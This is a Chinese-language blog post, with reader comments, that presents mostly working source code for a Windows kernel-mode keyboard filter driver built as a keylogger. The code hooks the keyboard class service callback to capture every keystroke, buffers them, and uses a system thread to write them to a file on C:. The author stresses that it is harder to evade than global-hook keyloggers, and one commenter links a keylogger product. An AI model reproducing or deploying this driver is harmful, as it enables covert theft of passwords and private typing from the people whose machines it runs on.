原创 利用filter driver实现键盘记录

2008-4-7 13:24 6868 7 8 分类: 软件与OS
实现键盘记录的方法一般是用
全局钩子注入进程,这种方法比较简单,网上有N多文章讨论,不过对于一个高明的程序员来说,仍然可以躲开全局钩子的拦截。而用一个键盘的过滤驱动程序来拦
截按键,程序员基本不可能绕开它的拦截。这两天无聊的很,做项目不是很顺,抽了点时间写了个东西。贴在这里灌水,高手们就不要看了。
driver entry是标准的例程,我们这里注册了一些分派函数
NTSTATUS
DriverEntry (
    IN  PDRIVER_OBJECT  DriverObject,
    IN  PUNICODE_STRING RegistryPath
    )
{
    ULONG i;

    UNREFERENCED_PARAMETER (RegistryPath);

    // 
    // Fill in all the dispatch entry points with the pass through function
    // and the explicitly fill in the functions we are going to intercept
    // 
    for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction = KbFilter_DispatchPassThrough;
    }

    DriverObject->MajorFunction [IRP_MJ_CREATE] =
    DriverObject->MajorFunction [IRP_MJ_CLOSE] =        KbFilter_CreateClose;
    DriverObject->MajorFunction [IRP_MJ_PNP] =          KbFilter_PnP;
    DriverObject->MajorFunction [IRP_MJ_POWER] =        KbFilter_Power;
    DriverObject->MajorFunction [IRP_MJ_INTERNAL_DEVICE_CONTROL] =
                                                        KbFilter_InternIoCtl;
    DriverObject->MajorFunction [IRP_MJ_SHUTDOWN]=KbFilter_DispatchShutdown;                               
    
   
    DriverObject->DriverUnload = KbFilter_Unload;
    DriverObject->DriverExtension->AddDevice = KbFilter_AddDevice;

    return STATUS_SUCCESS;
}
注册KbFilter_DispatchShutdown是为了在系统shutdown的时候获得通知,做些处理。

本上所有的irp 都通过KbFilter_DispatchPassThrough传递到下层的驱动处理,一些ioctol irp也只是简单的
return一个nt status,我并不关心这些东西,需要传递的irp传递给下层驱动处理,这个filter本身基本不做任何处理,关键的部分在
KbFilter_CreateClose里面创建一个文件用于记录按键,代码如下:
  RtlInitUnicodeString(&devExt->RecordFileName,L"\\DosDevices\\c:\\KeyRecord.txt");
           /*NOTE:lzp--2005-4-9---
           * OBJ_KERNEL_HANDLE must be set, otherwise, the zwwritefile will failed
           */
         InitializeObjectAttributes(&ObjectAttri,&devExt->RecordFileName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,
     NULL,NULL);
    
     //create or open the file
     status=ZwCreateFile(
&devExt->RecordFileHandle,
FILE_APPEND_DATA|SYNCHRONIZE,
&ObjectAttri,
&IoStatusBlock,
NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE|FILE_SHARE_READ,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
      if (!NT_SUCCESS(status)) {
      DbgPrint("ZwCreateFile failed\n");
     //IoDeleteDevice(device);
         return (status);
     }
所有的按键都保存在这个文件中,当有按键时候,会出发中断,最终调用VOID
KbFilter_ServiceCallback(
    IN PDEVICE_OBJECT DeviceObject,
    IN PKEYBOARD_INPUT_DATA InputDataStart,
    IN PKEYBOARD_INPUT_DATA InputDataEnd,
    IN OUT PULONG InputDataConsumed
    )这个函数来处理按键,通过hook这个callback,实现自己的功能,我在device_extension里开了个一个缓冲区用来记录按键,每记录100个按键,写一次文件;这部分都是在KbFilter_ServiceCallback实现的
PDEVICE_EXTENSION   devExt;

    devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
    ProcessScanCode(InputDataStart,
         InputDataEnd,devExt);

    (*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(
        devExt->UpperConnectData.ClassDeviceObject,
        InputDataStart,
        InputDataEnd,
        InputDataConsumed);
首先调用ProcessScanCode来记录按键,接着调用上层驱动的callback函数,把数据交给它们处理。
processscancode根据scan code转换为字符,保存在buffer中,每当记录了100个按键后,就调用
NTSTATUS
StoreKeyToFile(PDEVICE_EXTENSION   devExt)
{

NTSTATUS status=STATUS_SUCCESS;


//DbgPrint("IRQL:%d\n",KeGetCurrentIrql());

DbgPrint("Enter the StoreKeyToFile Routine\n");

     devExt->KeyBuffer[index++]='\n';

     KeSetEvent(&devExt->BeginWriteEvent,0,FALSE);
     index=0;
    
    
     return status;
  }
把数据写入文件。由于此时IRQL是2(dispatch level irql),而zwwritefile只能在passive_level调用,为此专门实现了一个系统线程来做写文件的工作。系统线程在KbFilter_CreateClose 中创建:
// create system thread for write key value to file
     status = PsCreateSystemThread(&ThreadHandle,
     THREAD_ALL_ACCESS,
NULL,
NULL,
NULL,
(PKSTART_ROUTINE) WriteThreadProc,
devExt);
    if (!NT_SUCCESS(status))
     return status;
    ObReferenceObjectByHandle(ThreadHandle,
    THREAD_ALL_ACCESS,
    NULL,
    KernelMode,
    (PVOID*) &devExt->WriteThread,
    NULL);
     ZwClose(ThreadHandle);
         并初始化两个event:
 //initialize event object
         KeInitializeEvent(&devExt->BeginWriteEvent,
          NotificationEvent, FALSE);
KeInitializeEvent(&devExt->ExitEvent,
          NotificationEvent, FALSE);

两个event一个用于通知系统线程开始写文件,一个通知系统线程终止。每当buffer中保存了100个字符时候在storekeytofile里面就
通过KeSetEvent(&devExt->BeginWriteEvent,0,FALSE)来唤醒系统线程开始写文件。系统线程代码
入下:
VOID WriteThreadProc(PDEVICE_EXTENSION pdx)
{
NTSTATUS status;
IO_STATUS_BLOCK         IoStatusBlock;

PVOID ThreadEvent[]=
{
(PVOID) &pdx->BeginWriteEvent,
(PVOID) &pdx->ExitEvent,
};

//DbgPrint("Enter WriteThread\n");//debug only

while(TRUE){
DbgPrint("begin wait\n");
status=KeWaitForMultipleObjects(2,ThreadEvent,WaitAny,
Executive,KernelMode,
FALSE,NULL,NULL);

if(!NT_SUCCESS(status)){
DbgPrint("error--KeWaitxxx\n");

goto exit;
}

if(status==STATUS_TIMEOUT){
DbgPrint("Timeout\n");

goto exit;
}

if(status == STATUS_WAIT_0){
DbgPrint("Begin Write\n");
 KeClearEvent(&pdx->BeginWriteEvent);

status=ZwWriteFile(pdx->RecordFileHandle,
NULL,
NULL,
NULL,
&IoStatusBlock,
(UCHAR*)pdx->KeyBuffer,
100,
NULL,//&BufOffset,
NULL);
if (!NT_SUCCESS(status)) {
DbgPrint("Error in ZwWriteFile:%u\n",status);
      }
      // KeStallExecutionProcessor(100);
     
 }else if(status == STATUS_WAIT_1){
      DbgPrint("Terminate\n");
      KeClearEvent(&pdx->ExitEvent);
      
      goto exit;
     
  //PsTerminateSystemThread(STATUS_SUCCESS);
 }else{
      DbgPrint("Error--thread proc\n");
      
      goto exit;
 }
}
exit:
PsTerminateSystemThread(STATUS_SUCCESS);
}
它一创建就进入一个while(TRUE)循环,调用kewaitformultipleobjects来睡眠,等待唤醒。如果是beginwriteevent唤醒的就写文件,如果是exitevent唤醒的就终止运行。

系统shutdown的时候,可能buffer中的字符不到100个,则不会调用系统线程写文件,我本来的考虑是注册个shutdwon例程,在
KbFilter_DispatchShutdown中把所有buffer中的数据都写到文件中。但是调试后发现这个写文件的操作从来没有成功过,不知道
什么原因。此外,更加诡异的是,在系统boot的时候会发送IRP_MJ_CLOSE irp给驱动,结果close例程被调用,这极其奇怪。不过好在每
什么影响,没时间了,懒得debug它。
至于为什么KbFilter_DispatchShutdown写文件不成功,不知道哪位大虾了解,麻烦指教。我觉得可能是shutdwon的时候irql不是passive_level或者文件系统驱动已经在键盘驱动之前unload了。不是很清楚。

PARTNER CONTENT

文章评论1条评论)

登录后参与讨论

用户1099805 2016-5-14 10:43

不错的资料 应该能用得上 谢谢

用户3695003 2016-3-25 10:23

资料很不错,值得拥有!

用户377235 2014-4-19 18:03

学习了。http://www.louyue.com/keylogger.htm这个键盘记录器应该也用的是楼主一样的技术。

用户1599209 2014-2-7 02:30

挺好的。。。。。。

相关推荐阅读
用户1361860 2012-06-28 23:44
Nicrosystem Freescale Kinetis教程---SDHC
这是研究生翻译的SDHC的中文文档,里面很多句子不通,但我现在没时间去修改了。先放出来,应该还是会有一点作用  ...
用户1361860 2012-06-26 12:39
Nicrosystem Freescale Kinetis教程--低功耗定时器
Freescale Kinetis内部集成了一个独特的低功耗定时器,它可以在系统处于低功耗模式下,仍然以极低功耗运行,可以用于在适当时候唤醒系统进入正常工作模式  ...
用户1361860 2012-06-24 22:11
Nicrosystem Freescale Kinetis教程----RTC实时时钟
Nicrosystem的飞思卡尔kinetis教程之片上RTC  ...
用户1361860 2012-06-22 10:21
TI C2000微控制器指南
这是官方的C2000的介绍,C2000做电机控制那是业界最好的。  ...
用户1361860 2012-06-20 23:52
Nicrosystem Freescale Kinetis教程--PIT定时器教程
这是PIT定时器的教程,PIT是 Kinetis支持的另一种定时器,相对于上一讲的flextimer要简单。 今晚赶到北京,到宾馆发一篇博客  ...
用户1361860 2012-06-19 13:15
Nicrosystem Freescale Kinetis教程--Flextimer教程
Kinetis的Flextimer定时器教程 kinetis集成了众多功能各异的定时器,flextimer是其中最为复杂的一个  ...
我要评论
1
7
关闭 站长推荐上一条 /3 下一条